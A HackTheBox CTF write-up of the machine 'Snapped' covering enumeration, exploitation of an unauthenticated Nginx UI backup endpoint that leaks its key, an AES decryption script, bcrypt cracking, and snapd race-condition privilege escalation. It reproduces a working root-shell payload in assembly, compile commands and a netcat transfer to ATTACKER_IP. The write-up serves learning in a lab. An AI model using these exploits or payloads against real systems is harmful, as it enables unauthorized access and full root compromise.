> For the complete documentation index, see [llms.txt](https://kur0sh1r0.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kur0sh1r0.gitbook.io/ctf-writeups/hackthebox-lab/hackthebox-snapped-writeup.md).

# HackTheBox Snapped— Writeup

This is actually my first time documenting a HackTheBox machine, and I’ll be honest, HTB feels a lot more challenging compared to other platforms I’ve tried xD. The difficulty curve is definitely steeper, but that’s also what makes it fun and rewarding when things finally click.

In this post, I’ll walk through how I approached and solved the retired hard HTB machine **Snapped**. I’ll break down my thought process, the steps I took during enumeration and exploitation, and the key lessons I picked up along the way.

This writeup is meant to be both a learning guide and a personal note for myself, so I’ll try to keep things clear, practical, and easy to follow. Hopefully it also helps anyone who’s stuck on similar concepts or just getting started with HackTheBox.

Let’s dive in!

<figure><img src="/files/akxqsfZ52tWHJZiEgjmA" alt=""><figcaption></figcaption></figure>

**Reconnaissance**

Let’s start by scanning for open ports using `Nmap` to identify possible entry points and potential attack paths:

`nmap -A -T5 10.129.230.48`

<figure><img src="/files/Bt3PpH4QHeDRooaTOTxx" alt=""><figcaption></figcaption></figure>

As shown above, ports 22 and 80 are open. I also noticed that port 80 redirects to `snapped.htb`, so the next step is to map the domain by adding it to the `/etc/hosts` file along with the target IP address.

<figure><img src="/files/Wypm4mwaYx3yMyZXpqqC" alt=""><figcaption></figcaption></figure>

When I visit the page, this is the result:

<figure><img src="/files/dCwiQUfBQ5djDQIx9bCw" alt=""><figcaption></figcaption></figure>

While scrolling down, I came across the email address **<contact@snapped.htb>**, which could become useful in later steps of the exploitation process.

I attempted to brute-force subdirectories to discover any hidden endpoints, but nothing of value turned up.

Next, I proceeded to fuzz for subdomains using `fuff` to check if any additional subdomains could be discovered.

`ffuf -ac -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H 'Host:FUZZ.snapped.htb' -u http://10.129.230.48`&#x20;

<figure><img src="/files/Gv24PR7LTWPSb3hyku2x" alt=""><figcaption></figcaption></figure>

Now, let’s add the `admin` subdomain to our `/etc/hosts` file so it properly resolves to the target IP.

<figure><img src="/files/OQd7jTDAyDH2slmqLO7B" alt=""><figcaption></figcaption></figure>

This is the interface of `admin.snapped.htb`

<figure><img src="/files/EDzrtZxoFucvxGXf6n7H" alt=""><figcaption></figcaption></figure>

This appears to be an `Nginx UI` login page, and as expected, there’s nothing I can do without valid credentials.

Now let’s check the technology stack using `curl` to gather more information from the response headers and page content.

`curl -v http://admin.snapped.htb`

<figure><img src="/files/Kp0PxFdYARuUZe0MQfUJ" alt=""><figcaption></figcaption></figure>

I inspected the traffic through the browser’s developer tools and noticed multiple API calls being made on page load, particularly to `/api` endpoints.

<figure><img src="/files/u30IT6M7WbAsH6iPn6VV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ucwvZfIwNiVsGK2Ic4d9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/AJl1aPiko9v9jdMaXyyY" alt=""><figcaption></figcaption></figure>

Now my goal is to identify the version of `Nginx UI` in use, so I’ll start by inspecting the JavaScript files loaded on the main page:

`curl -sk http://admin.snapped.htb/ | grep -oP '(?:src=|href=)["''']\K[^"''']+' | grep -Ei '.js($|?)'`

<figure><img src="/files/1vToCxOmy1zddVt93kke" alt=""><figcaption></figcaption></figure>

Inside that file, I found two references to JavaScript files that begin with `version`.

`curl -skL http://admin.snapped.htb/assets/index-DoHxQupa.js | grep -oP 'version[-\w]*.js' | sort -u`

<figure><img src="/files/dxrBhNTra5035Rzjs9F7" alt=""><figcaption></figcaption></figure>

Now let’s take a closer look at those JavaScript files and get the version of Nginx UI.

<figure><img src="/files/ihcurpUwX6y4UvnOsyeh" alt=""><figcaption></figcaption></figure>

As shown here, the Nginx UI version is `2.3.2`.

Next, I tried brute-forcing directories on `admin.snapped.htb`, but it didn’t return anything useful. After that, I appended `/api` to the URL to enumerate and view the available endpoints under that path.

<figure><img src="/files/kQm3Dbkp1LB2IbzqNiuV" alt=""><figcaption></figcaption></figure>

The most interesting endpoint here is `/backup`, so I decided to try accessing it using `curl`.

`curl http://admin.snapped.htb/api/backup`

<figure><img src="/files/WcBmDKN1GrA5HxAMNz9e" alt=""><figcaption></figcaption></figure>

It returns a binary file, so the next step is to download it for further analysis.

`wget http://admin.snapped.htb/api/backup`

<figure><img src="/files/qhmn0z9Ryn94CtVv0WQm" alt=""><figcaption></figcaption></figure>

It turns out to be a ZIP file, so let’s inspect its contents.

<figure><img src="/files/dcnRlRHW45mCaGdGkbaY" alt=""><figcaption></figcaption></figure>

It contains two zip files and one txt file. Now let’s extract the contents of the backup archive.

<figure><img src="/files/3IcWbYJvAOZko0T3gUnj" alt=""><figcaption></figcaption></figure>

Even though they have zip and txt extensions, all three files are detected as generic data. If they were properly structured ZIP archives, the `file` command would have recognized them as such. This suggests the contents are encrypted, causing them to appear as random, unidentifiable data.

This is where I got stuck for about an hour since I had no idea what algorithm was being used. I wasn’t sure if it was symmetric encryption either, and I also couldn’t figure out where the key might be stored.

Since this is still related to Nginx UI, I started looking for known vulnerabilities and CVEs affecting it. Considering this machine was released out of cycle, it’s very likely tied to a 2026 CVE.

**Exploitation**

One CVE I've found is [CVE-2026-27944](https://nvd.nist.gov/vuln/detail/CVE-2026-27944).

According to NIST, **CVE-2026-27944** affects Nginx UI, a web-based interface for the Nginx server. In versions prior to **2.3.3**, the `/api/backup` endpoint can be accessed without authentication and leaks the encryption key needed to decrypt backup files through the `X-Backup-Security` response header. This flaw allows an unauthenticated attacker to download complete system backups containing sensitive information such as user credentials, session tokens, SSL private keys, and Nginx configuration files, and then decrypt them immediately. The vulnerability has been fixed in version 2.3.3.

From my earlier enumeration, I already noticed that `/api/backup` was accessible without authentication and that the downloaded content appeared encrypted. This aligns perfectly with the description, where the decryption key is exposed in the `X-Backup-Security` header of the response.

A write-up from [CVEReports](https://cvereports.com/reports/CVE-2026-27944) also explains the vulnerability in detail and demonstrates how it can be exploited.

The encryption key and IV are included in the `X-Backup-Security` response header, so I’ll use `curl` to retrieve and inspect them.

`curl http://admin.snapped.htb/api/backup -v -o backup.zip`&#x20;

<figure><img src="/files/cZVQ7yN2SRI0cglwEFW9" alt=""><figcaption></figcaption></figure>

The header contains two `Base64-encoded` values separated by a “:”, and it appears to generate new values with each request.

This is the decryption script from the writeup of the vulnerability:

<figure><img src="/files/sWv63xPydKZNPhI3E7sK" alt=""><figcaption></figcaption></figure>

Now let's modify it to decrypt our 3 encrypted files.

```python
from Crypto.Cipher import AES
import base64
import os

# Base64 values (X-Backup-Security header)
key = base64.b64decode("+ltqeQaFm/F6XmAugRqTEc3fYvKN9h1HVzvFtKQg9o4=")
iv  = base64.b64decode("4R6JiLajtLbVJK0k+tyW8Q==")

files = [
    "hash_info.txt",
    "nginx-ui.zip",
    "nginx.zip"
]

def decrypt_file(path):
    with open(path, "rb") as f:
        ciphertext = f.read()

    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)

    out = path + ".dec"

    with open(out, "wb") as f:
        f.write(plaintext)

    print(f"[+] Decrypted: {path} -> {out}")

for file in files:
    if os.path.exists(file):
        decrypt_file(file)
    else:
        print(f"[-] Missing: {file}")
```

Now let's decrypt the files:

`python3 dec.py`

<figure><img src="/files/rHvUGtxZXLER19QaVQ2p" alt=""><figcaption></figcaption></figure>

Let's check the `hash_info.txt`&#x20;

And as you can see, our decryption works!! Now let's unzip the 2 remaining zip files.

`unzip nginx-ui.zip.dec -d nginx-ui && unzip nginx.zip.dec -d nginx`

<figure><img src="/files/wg6GJoBGoygLUeGtoeGA" alt=""><figcaption></figcaption></figure>

Inside `nginx-ui`, I've found a database.db

<figure><img src="/files/LuMjLfH3kFytyaDvoct6" alt=""><figcaption></figcaption></figure>

It's a SQLite file, now let's inspect it.

`sqlite3 database.db`

Now let's list the tables

`.tables`

<figure><img src="/files/chVRNDW85ytlUpvGIQyV" alt=""><figcaption></figcaption></figure>

`.headers on`&#x20;

Let's check the `users` table.

`select * from users;`

<figure><img src="/files/NuwSLtkBACUujJNxVMBE" alt=""><figcaption></figcaption></figure>

There are two user accounts listed: **admin** and **jonathan**.

From the header, the hash is identified as **bcrypt**, and cracking it is relatively slow because bcrypt is deliberately designed to be computationally expensive and resistant to brute-force attacks through its adaptive cost factor. Now let’s proceed to crack it using `hashcat`.

`hashcat hash -m 3200 /usr/share/wordlists/rockyou.txt`

<figure><img src="/files/mZFKgNARGvlnAnQmh4Bn" alt=""><figcaption></figcaption></figure>

It was cracked almost instantly since the password wasn’t very complex and appeared early in the wordlist.

Now let's login as `jonathan` using `ssh`

`ssh jonathan@snapped.htb`

<figure><img src="/files/xxviDe3O7rCMo40n1bpt" alt=""><figcaption></figcaption></figure>

**Privilege Escalation**

Next, I ran `linpeas` on the target machine, but it didn’t reveal anything useful. I also checked for common privilege escalation vectors such as scheduled tasks and cron jobs, but they all turned out to be dead ends. I ended up stuck at this stage for about an hour and a half with no clear path forward.

Then I realized the machine is named **“Snapped”**, which made me think that `snap` might be a relevant hint worth investigating further.

I also observed that the **Snapped** machine has several services running in the background.

`systemctl list-units --type=service --state=running 2>/dev/null`

<figure><img src="/files/SRIJJzmN3P08X5FAX8Z2" alt=""><figcaption></figcaption></figure>

So I started looking for Snap-related CVEs that could potentially be leveraged for privilege escalation.

One CVE that got my attention is the [CVE-2026-3888](https://nvd.nist.gov/vuln/detail/CVE-2026-3888)

According to NIST, **CVE-2026-3888** is a local privilege escalation vulnerability in **snapd** on Linux systems. It allows a local attacker to gain root privileges by recreating Snap’s private `/tmp` directory in scenarios where `systemd-tmpfiles` is configured to periodically clean it. This issue impacts multiple Ubuntu LTS releases, including 16.04, 18.04, 20.04, 22.04, and 24.04.

The Ubuntu security advisory indicates that the vulnerability has been patched in Ubuntu 24.04 with snapd version **2.73**.

<figure><img src="/files/sGCUL6Ei35Gvgf3r6kh8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yq5u7vKIQJSRp1lg778R" alt=""><figcaption></figcaption></figure>

I also came across a write-up from Qualys describing [CVE-2026-3888](https://blog.qualys.com/vulnerabilities-threat-research/2026/03/17/cve-2026-3888-important-snap-flaw-enables-local-privilege-escalation-to-root), it explains that the vulnerability arises from the interaction between two system components:

* **snap-confine**, which handles the secure execution environment for Snap applications with elevated privileges
* **systemd-tmpfiles**, which periodically removes temporary files and directories based on age thresholds

The exploitation path relies on timing and race conditions. First, the attacker waits for the system cleanup process (typically after 30 days on Ubuntu 24.04, or around 10 days in newer setups) to remove a critical directory used by snap-confine, such as `/tmp/.snap`. After this directory is deleted, the attacker recreates it and places malicious content inside. When snap-confine runs again during sandbox setup, it bind-mounts the attacker-controlled files with root privileges, effectively allowing arbitrary code execution as the root user.

It’s a bit more involved than it first appears. The `snap-confine` binary runs with SetUID root permissions, meaning it executes with elevated privileges even when triggered by a normal user. When a Snap application is launched, `snap-confine` sets up a controlled environment using a mount namespace to isolate the application.

As part of this setup, it prepares a writable structure inside `/tmp/.snap/` by copying parts of the filesystem, these are often called “mount shadows.” This allows Snap apps to behave as if they can write to protected system paths without actually modifying the real filesystem.

If `/tmp/.snap` has been removed (for example, by automatic cleanup tools like `systemd-tmpfiles`), `snap-confine` will recreate it. The weakness appears when an attacker manages to create `/tmp/.snap` beforehand and injects carefully crafted files into it. Since `snap-confine` runs as root, it may later reuse this attacker-controlled directory during mount setup, unintentionally giving the attacker influence over privileged operations.

A different way to abuse this kind of flaw is to replace a normally trusted configuration or preload file inside the recreated directory with a malicious shared library, such as a fake `libc.so.6`. When the privileged `snap-confine` process loads it during execution, the malicious code is executed with root permissions, resulting in full system compromise.

I looked for a proof-of-concept for this exploit, and the first result I found was from [TheCyberGeek](https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE).

This exploit takes advantage of a systemd timer that scans temporary directories for files and folders older than 30 days and removes them. In this case, the cleanup task is being executed every minute:

<figure><img src="/files/lTxZ5UDP495P8vP6cRMC" alt=""><figcaption></figcaption></figure>

By default, this is set to 30 days, but in this case it has been reduced to just 4 minutes:

<figure><img src="/files/V3mRwQVqh0QMkQMShZTq" alt=""><figcaption></figcaption></figure>

To execute the exploit, I first need to clone the PoC scripts provided by TCG. There are two variants available: one designed for SetUID `snap-confine` systems, and another intended for `snap-confine` binaries that use capabilities instead. In the case of **Snapped**, it uses the SetUID model, which is consistent with the expected configuration for this operating system.

This is the payload named `librootshell_suid.c`:

```c
/*
 * librootshell.so — replaces ld-linux-x86-64.so.2
 * Calls setreuid(0,0) then execve(/tmp/sh)
 * Compile: gcc -nostdlib -static -o librootshell.so librootshell_suid.c
 */

void _start(void) {
    /* setreuid(0, 0) */
    __asm__ volatile (
        "xor %%rdi, %%rdi\n"
        "xor %%rsi, %%rsi\n"
        "mov $0x71, %%rax\n"   /* __NR_setreuid = 113 */
        "syscall\n"
        ::: "rax", "rdi", "rsi"
    );

    /* setregid(0, 0) */
    __asm__ volatile (
        "xor %%rdi, %%rdi\n"
        "xor %%rsi, %%rsi\n"
        "mov $0x72, %%rax\n"   /* __NR_setregid = 114 */
        "syscall\n"
        ::: "rax", "rdi", "rsi"
    );

    /* execve("/tmp/sh", {"/tmp/sh", NULL}, NULL) */
    __asm__ volatile (
        "mov $0x68732f706d742f, %%rax\n"  /* "/tmp/sh\0" */
        "push %%rax\n"
        "mov %%rsp, %%rdi\n"              /* path = "/tmp/sh" */
        "push $0\n"
        "push %%rdi\n"
        "mov %%rsp, %%rsi\n"              /* argv = {"/tmp/sh", NULL} */
        "xor %%rdx, %%rdx\n"              /* envp = NULL */
        "mov $0x3b, %%rax\n"              /* __NR_execve = 59 */
        "syscall\n"
        ::: "rax", "rdi", "rsi", "rdx"
    );
}
```

The payload operates at a very low level, effectively behaving like raw assembly since it replaces the dynamic linker itself. Because of this, it cannot rely on shared libraries, meaning the usual C standard library functions are unavailable.

Instead, it directly invokes system calls to achieve its goal: first elevating privileges by setting both the user and group IDs to root, and then launching a shell by executing `/tmp/sh` through `execve`.

Now let's compile the binaries in our machine.

`gcc -O2 -static -o exploit exploit_suid.c`

`gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c`

Now that the binaries are compiled, I’ll transfer them to the target machine using `netcat.`

**Receiver:**

`nc ATTACKER_IP 9001 > exploit`

**Sender:**

`nc -lvnp 9001 < exploit`

<figure><img src="/files/z9TsT9YxfbtBRtC6QvsR" alt=""><figcaption></figcaption></figure>

Do this for both `exploit` and `librootshell.so`&#x20;

Now let's make it executable

`chmod +x exploit`

`chmod +x librootshell.so`

Then execute.

`./exploit librootshell.so`

<figure><img src="/files/nrnCxlmxTqSj0ha6ZV0z" alt=""><figcaption></figcaption></figure>

**EXPLANATION BEHIND THE EXPLOIT (PRETTY LONG, YEAH)**

The exploit doesn’t complete instantly, it unfolds over a few minutes in this lab environment, although in a real-world scenario it could take as long as 30 days. Here, the timeline is accelerated to about 4 minutes. The process runs automatically, but it can be broken down into seven distinct phases.

I execute the exploit by supplying the malicious payload library as an argument, which then begins the attack sequence. In the first stage, a sandboxed Firefox snap environment is launched, creating an internal shell instance. This shell operates within a restricted namespace, where paths like `/tmp` are actually redirected into Snap’s private directory structure. As a normal user, this location is inaccessible directly, but it can still be reached indirectly through `/proc` by referencing the process ID.

The second stage waits for the system cleanup mechanism to remove the `.snap` directory. Normally, this cleanup would only occur after a long delay, but in this environment it happens quickly due to a shortened timer. Once the directory is deleted, the exploit confirms the condition and proceeds.

Next, the exploit forces the system to discard cached mount namespaces. This is necessary because Snap would otherwise reuse an existing namespace and ignore newly introduced changes. By invalidating the cache, the next Snap launch must rebuild its environment from scratch, making it possible to influence the process.

The fourth stage is where the race condition is triggered. The exploit carefully prepares a legitimate directory structure and launches the Snap process so it passes initial validation. Then, at a precise moment, it atomically replaces the directory with a manipulated version containing malicious components. Because the system does not re-check after this swap, the attacker’s content is mounted into a privileged context, effectively gaining control over what gets loaded inside the namespace.

After winning the race, the environment reflects the injected changes, showing that the attacker-controlled directory has been successfully integrated into the Snap filesystem view.

In the fifth stage, payload injection takes place inside this compromised namespace. Since the dynamic linker has been replaced earlier in the chain, only statically linked binaries function properly. A static BusyBox binary is introduced along with a script that performs privileged file operations, including copying a shell binary into a Snap-accessible location and setting its permissions so it becomes SetUID root.

At this point, the malicious linker has already been overwritten, and its behavior has been verified against the attacker’s payload. The execution chain is now set: when Snap-confine (running with elevated privileges) loads the fake dynamic linker, it executes the embedded payload, which escalates privileges and triggers the scripted actions.

Finally, the exploit is triggered through a Snap-confine execution cycle. This causes the payload chain to run, ultimately producing a SetUID-enabled Bash binary inside the Firefox Snap directory. This file persists outside the sandbox and effectively grants persistent root-level access on the system.

And after 4-5 mins:

<figure><img src="/files/q7s075alSSzBUj3gkJAu" alt=""><figcaption></figcaption></figure>

I got the root shell!! We've successfully finished **Snapped**!!!

**Snapped** is a highly technical and well-designed machine that ties together multiple real-world concepts into a single exploitation chain. What starts as simple enumeration gradually evolves into a layered attack involving misconfigured services, exposed backup mechanisms, cryptographic misuse, and eventually a deep dive into Linux internals and privilege escalation via Snap.

The most impressive part of this challenge is how each stage builds on the previous one. From discovering the unauthenticated `/api/backup` endpoint and extracting sensitive data, to decrypting backups using leaked keys, and finally pivoting into a full root compromise through a complex Snapd race condition, everything feels intentional and realistically structured. It forces you to think beyond isolated vulnerabilities and instead understand how small weaknesses can combine into a full attack path.
